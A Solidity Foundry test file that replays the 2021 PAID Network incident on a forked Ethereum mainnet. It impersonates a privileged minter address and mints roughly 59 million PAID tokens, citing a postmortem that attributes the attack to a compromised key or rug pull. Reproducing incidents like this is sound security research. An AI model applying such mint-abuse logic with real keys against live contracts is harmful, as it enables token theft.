PAID_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://paidnetwork.medium.com/paid-network-attack-postmortem-march-7-2021-9e4c0fef0e07
// Root cause: key compromised or rugged

// @TX
// https://etherscan.io/tx/0x4bb10927ea7afc2336033574b74ebd6f73ef35ac0db1bb96229627c9d77555a0


interface IPaid {
    function mint(address _owner, uint256 _amount) external;
    function balanceOf(address account) external view returns (uint256);
}

contract ContractTest is DSTest{
   // FakeToken FakeTokenContract;
    IPaid PAID = IPaid(0x8c8687fC965593DFb2F0b4EAeFD55E9D8df348df);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 11979839);    // Fork mainnet at block 11979839
    }

    function testExploit() public {
        
        cheats.prank(0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE);  
        PAID.mint(address(this),59471745571000000000000000); //key compromised or rugged
        emit log_named_decimal_uint(
            "[End] PAID balance after exploitation:",
            PAID.balanceOf(address(this)),
            18
        );
    }

  receive() external payable {}
}